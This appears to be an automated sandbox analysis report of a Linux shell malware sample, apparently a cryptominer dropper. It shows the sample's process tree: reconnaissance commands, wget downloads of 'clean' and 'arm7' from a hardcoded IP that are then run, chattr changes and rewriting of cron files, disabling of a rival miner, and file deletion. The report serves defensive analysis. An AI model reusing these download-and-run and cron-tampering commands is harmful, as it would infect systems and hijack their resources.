Analysis

  • max time kernel
    149s
  • max time network
    84s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/05/2026, 18:18

General

  • Target
    sh
  • Size 2KB
  • Sample260522-wxthbsfs4x
  • SHA256 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 6 IoCs

    Fetches information about one or more active network interfaces.

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:640
      • /bin/grep
        grep noexec
        2⤵
          PID:650
        • /bin/cat
          cat /proc/mounts
          2⤵
            PID:649
          • /usr/bin/awk
            awk "{print \$2}"
            2⤵
              PID:651
            • /usr/bin/whoami
              whoami
              2⤵
                PID:663
              • /usr/bin/find
                find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*"
                2⤵
                • Reads network interface configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:668
              • /bin/uname
                uname -mp
                2⤵
                  PID:756
                • /usr/bin/tr
                  tr -d " "
                  2⤵
                    PID:761
                  • /usr/bin/od
                    od -An -N2 -i /dev/urandom
                    2⤵
                      PID:760
                    • /usr/bin/expr
                      expr 23116 "%" 32 + 4
                      2⤵
                        PID:762
                      • /usr/bin/tr
                        tr -dc A-Za-z0-9
                        2⤵
                          PID:765
                        • /usr/bin/head
                          head -c 16
                          2⤵
                            PID:766
                          • /usr/bin/openssl
                            openssl rand -base64 256
                            2⤵
                              PID:764
                            • /usr/bin/touch
                              touch .testfile
                              2⤵
                                PID:767
                              • /bin/dd
                                dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                                2⤵
                                  PID:769
                                • /bin/rm
                                  rm -rf .testfile .testfile2
                                  2⤵
                                    PID:770
                                  • /bin/rm
                                    rm -rf clean
                                    2⤵
                                      PID:771
                                    • /usr/bin/wget
                                      wget --no-check-certificate -q https://14.46.136.77/clean
                                      2⤵
                                        PID:772
                                      • /bin/chmod
                                        chmod +x clean
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:773
                                      • /bin/sh
                                        sh clean
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:774
                                        • /bin/systemctl
                                          systemctl disable c3pool_miner
                                          3⤵
                                            PID:775
                                          • /bin/systemctl
                                            systemctl stop c3pool_miner
                                            3⤵
                                              PID:776
                                            • /usr/bin/chattr
                                              chattr -ia /var/spool/cron/crontabs
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:777
                                            • /usr/bin/chattr
                                              chattr -ia /etc/crontab
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:778
                                            • /bin/grep
                                              grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:779
                                            • /bin/mv
                                              mv /tmp/clean_crontab /etc/crontab
                                              3⤵
                                                PID:780
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.hourly
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:781
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.daily
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:782
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.daily/apt-compat
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:783
                                              • /bin/grep
                                                grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:784
                                              • /bin/mv
                                                mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                                                3⤵
                                                  PID:785
                                                • /usr/bin/chattr
                                                  chattr -ia /etc/cron.daily/bsdmainutils
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:786
                                                • /bin/grep
                                                  grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:787
                                                • /bin/mv
                                                  mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                                  3⤵
                                                    PID:788
                                                  • /usr/bin/chattr
                                                    chattr -ia /etc/cron.daily/dpkg
                                                    3⤵
                                                    • Attempts to change immutable files
                                                    PID:789
                                                  • /bin/grep
                                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                                    3⤵
                                                    • Attempts to change immutable files
                                                    PID:790
                                                  • /bin/mv
                                                    mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                                    3⤵
                                                      PID:791
                                                    • /usr/bin/chattr
                                                      chattr -ia /etc/cron.daily/exim4-base
                                                      3⤵
                                                      • Attempts to change immutable files
                                                      PID:792
                                                    • /bin/grep
                                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                                      3⤵
                                                      • Attempts to change immutable files
                                                      PID:793
                                                    • /bin/mv
                                                      mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                                      3⤵
                                                        PID:794
                                                      • /usr/bin/chattr
                                                        chattr -ia /etc/cron.daily/logrotate
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:795
                                                      • /bin/grep
                                                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:796
                                                      • /bin/mv
                                                        mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                                        3⤵
                                                          PID:797
                                                        • /usr/bin/chattr
                                                          chattr -ia /etc/cron.daily/passwd
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:798
                                                        • /bin/grep
                                                          grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                                          3⤵
                                                          • Attempts to change immutable files
                                                          PID:799
                                                        • /bin/mv
                                                          mv /tmp/clean_crontab /etc/cron.daily/passwd
                                                          3⤵
                                                            PID:800
                                                          • /usr/bin/chattr
                                                            chattr -ia /etc/cron.weekly
                                                            3⤵
                                                            • Attempts to change immutable files
                                                            PID:801
                                                          • /usr/bin/chattr
                                                            chattr -ia /etc/cron.monthly
                                                            3⤵
                                                            • Attempts to change immutable files
                                                            PID:802
                                                          • /usr/bin/chattr
                                                            chattr -ia /etc/cron.d
                                                            3⤵
                                                            • Attempts to change immutable files
                                                            PID:803
                                                          • /usr/bin/chattr
                                                            chattr -ia /etc/anacrontab
                                                            3⤵
                                                            • Attempts to change immutable files
                                                            PID:804
                                                          • /bin/grep
                                                            grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                                            3⤵
                                                            • Attempts to change immutable files
                                                            PID:805
                                                          • /bin/mv
                                                            mv /tmp/clean_crontab /etc/anacrontab
                                                            3⤵
                                                              PID:806
                                                            • /bin/rm
                                                              rm -rf /tmp/sh /tmp/systemd-private-ee426aeccd524db397ba73a11abec7aa-systemd-timedated.service-1n56D6
                                                              3⤵
                                                                PID:807
                                                              • /bin/rm
                                                                rm -rf /var/tmp/systemd-private-ee426aeccd524db397ba73a11abec7aa-systemd-timedated.service-yC2XUg
                                                                3⤵
                                                                  PID:808
                                                                • /bin/rm
                                                                  rm -rf "/dev/shm/*"
                                                                  3⤵
                                                                    PID:809
                                                                • /bin/rm
                                                                  rm -rf clean
                                                                  2⤵
                                                                    PID:810
                                                                  • /bin/rm
                                                                    rm -rf .redtail
                                                                    2⤵
                                                                      PID:811
                                                                    • /bin/rm
                                                                      rm -rf .jX8cASJNSR5jQdNL
                                                                      2⤵
                                                                        PID:812
                                                                      • /bin/grep
                                                                        grep -q x86_64
                                                                        2⤵
                                                                          PID:814
                                                                        • /bin/grep
                                                                          grep -q amd64
                                                                          2⤵
                                                                            PID:816
                                                                          • /bin/grep
                                                                            grep -q "i[3456]86"
                                                                            2⤵
                                                                              PID:818
                                                                            • /bin/grep
                                                                              grep -q armv8
                                                                              2⤵
                                                                                PID:820
                                                                              • /bin/grep
                                                                                grep -q aarch64
                                                                                2⤵
                                                                                  PID:822
                                                                                • /bin/grep
                                                                                  grep -q armv7
                                                                                  2⤵
                                                                                    PID:824
                                                                                  • /bin/rm
                                                                                    rm -rf arm7
                                                                                    2⤵
                                                                                      PID:825
                                                                                    • /usr/bin/wget
                                                                                      wget --no-check-certificate -q https://14.46.136.77/arm7
                                                                                      2⤵
                                                                                        PID:826

                                                                                    Network

                                                                                          MITRE ATT&CK Enterprise v16

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          .testfile2

                                                                                          • Path /.testfile2
                                                                                          • Size 2.0MB
                                                                                          • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                          clean

                                                                                          • Path /clean
                                                                                          • Size 795B
                                                                                          • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                          clean_crontab

                                                                                          • Path /tmp/clean_crontab
                                                                                          • Size 279B
                                                                                          • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                          clean_crontab

                                                                                          • Path /tmp/clean_crontab
                                                                                          • Size 1KB
                                                                                          • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                          clean_crontab

                                                                                          • Path /tmp/clean_crontab
                                                                                          • Size 3KB
                                                                                          • SHA256 a452648bb2e987dfbea6d16656f8009e641b215c69835cee79f108030be8ec7f
                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                          clean_crontab

                                                                                          • Path /tmp/clean_crontab
                                                                                          • Size 722B
                                                                                          • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                                          • MD5 SHA1 SHA512 TLSH

                                                                                          clean_crontab

                                                                                          • Path /tmp/clean_crontab
                                                                                          • Size 1KB
                                                                                          • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                                          • MD5 SHA1 SHA512 TLSH